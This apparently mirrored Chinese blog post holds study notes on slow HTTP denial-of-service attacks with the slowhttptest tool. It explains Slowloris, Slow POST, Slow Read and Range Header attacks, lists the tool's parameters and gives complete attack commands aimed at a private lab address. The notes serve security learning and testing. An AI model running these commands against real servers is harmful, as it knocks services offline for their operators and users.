zoukankan      html  css  js  c++  java
  • 应用层DOS

    应用层DOS
    
    Slowhttptest
        低带宽应用慢速DOS攻击
        擅长打击Apache,Tomcat
    
    攻击方式:
    Slowloris, Slow HTTP POST
    耗尽应用的并发连接池,类似http层的Syn Flood
    HTTP协议默认的情况下需要接收到全部的请求之后才会开始处理,如果客户端发送速度缓慢或者不完整,服务端始终会为其保留连接资源池占用
    
    Slowloris:完整的http请求结尾是
    
    ,攻击只发
    
    Slow POST:HTTP头含有Content-Length,声明其长度,但是发送body部分的时候会慢慢的发
    Slow Read:与Slowloris和Slow POST目的是相同的,都是为了耗尽应用的并发连接池,不同之处在于请求正常发送,但是慢速读取响应数据,攻击者调整TCP Window窗口大小,是服务器慢速返回数据
    Apache Range Header:客户端传输大文件时,HTTP body大小限制时进行分段,耗尽服务器CPU,内存资源
    
    参数:
     -g      在测试完成后,以时间戳为名生成一个CVS和HTML文件的统计数据
     -H      SlowLoris模式
     -B      Slow POST模式
     -R      Range Header模式
     -X      Slow Read模式
     -c      number of connections 测试时建立的连接数
     -d      HTTP proxy host:port  为所有连接指定代理
     -e      HTTP proxy host:port  为探测连接指定代理
     -i      seconds 在slowrois和Slow POST模式中,指定发送数据间的间隔。
     -l      seconds 测试维持时间
     -n      seconds 在Slow Read模式下,指定每次操作的时间间隔。
     -o      file name 使用-g参数时,可以使用此参数指定输出文件名
     -p      seconds 指定等待时间来确认DoS攻击已经成功
     -r      connections per second 每秒连接个数
     -s      bytes 声明Content-Length header的值
     -t      HTTP verb 在请求时使用什么操作,默认GET
     -u      URL  指定目标url
     -v      level 日志等级(详细度)
     -w      bytes slow read模式中指定tcp窗口范围下限
     -x      bytes 在slowloris and Slow POST tests模式中,指定发送的最大数据长度
     -y      bytes slow read模式中指定tcp窗口范围上限
     -z      bytes 在每次的read()中,从buffer中读取数据量
    
    攻击测试
    slowloris:
    sudo ./slowhttptest -c 1000 -H -g -o slowlorisreport -i 10 -r 200 -t GET -u http://192.168.180.133 -x 24 -p 3
    或者
    sudo ./slowhttptest -c 1000 -H -g -o slowlorisreport -i 10 -r 1 -t GET -u http://192.168.180.133 -x 24 -p 3 -l 99999999
    
    Slow POST:
    sudo ./slowhttptest -c 3000 -B -g -o slowpost_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://192.168.180.133 -x 10 -p 3
    
    上述操作注意ulimit -a 里面的open files 默认只能打开并发文件数1024,可以按照下面命令进行调整
    ulimit -n 10000000  系统会达到最高的数量极限10000000
    
    Slow Read:
    sudo ./slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://192.168.180.133 -p 3
    
    Slow Apache Range Header
    sudo ./slowhttptest -R -u http://192.168.180.133 -t HEAD -c 1000 -a 10 -b 3000 -r 500
    上述攻击失效
    
    
    参考:
    https://github.com/shekyan/slowhttptest
    https://github.com/shekyan/slowhttptest/wiki
    https://cloud.tencent.com/developer/article/1180216
    https://www.cnblogs.com/shenlinken/p/7400336.html
    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    SpringMvc 框架
    面试:你最大的长处和弱点分别是什么?这些长处和弱点对你在企业的业绩会有什么样的影响?
    线程、并发、并行、进程是什么,以及如何开启新的线程?
    面向对象三大特性
    一台客户端有三百个客户与三百个客户端有三百个客户对服务器施压,有什么区别?
    JavaScript 引擎
    Spring Data JPA简介 Spring Data JPA特点
    redo log 有什么作用?
    Spring的简介和优点?
    学习笔记——享元模式Flyweight
  • 原文地址:https://www.cnblogs.com/autopwn/p/14697440.html
Copyright © 2011-2022 走看看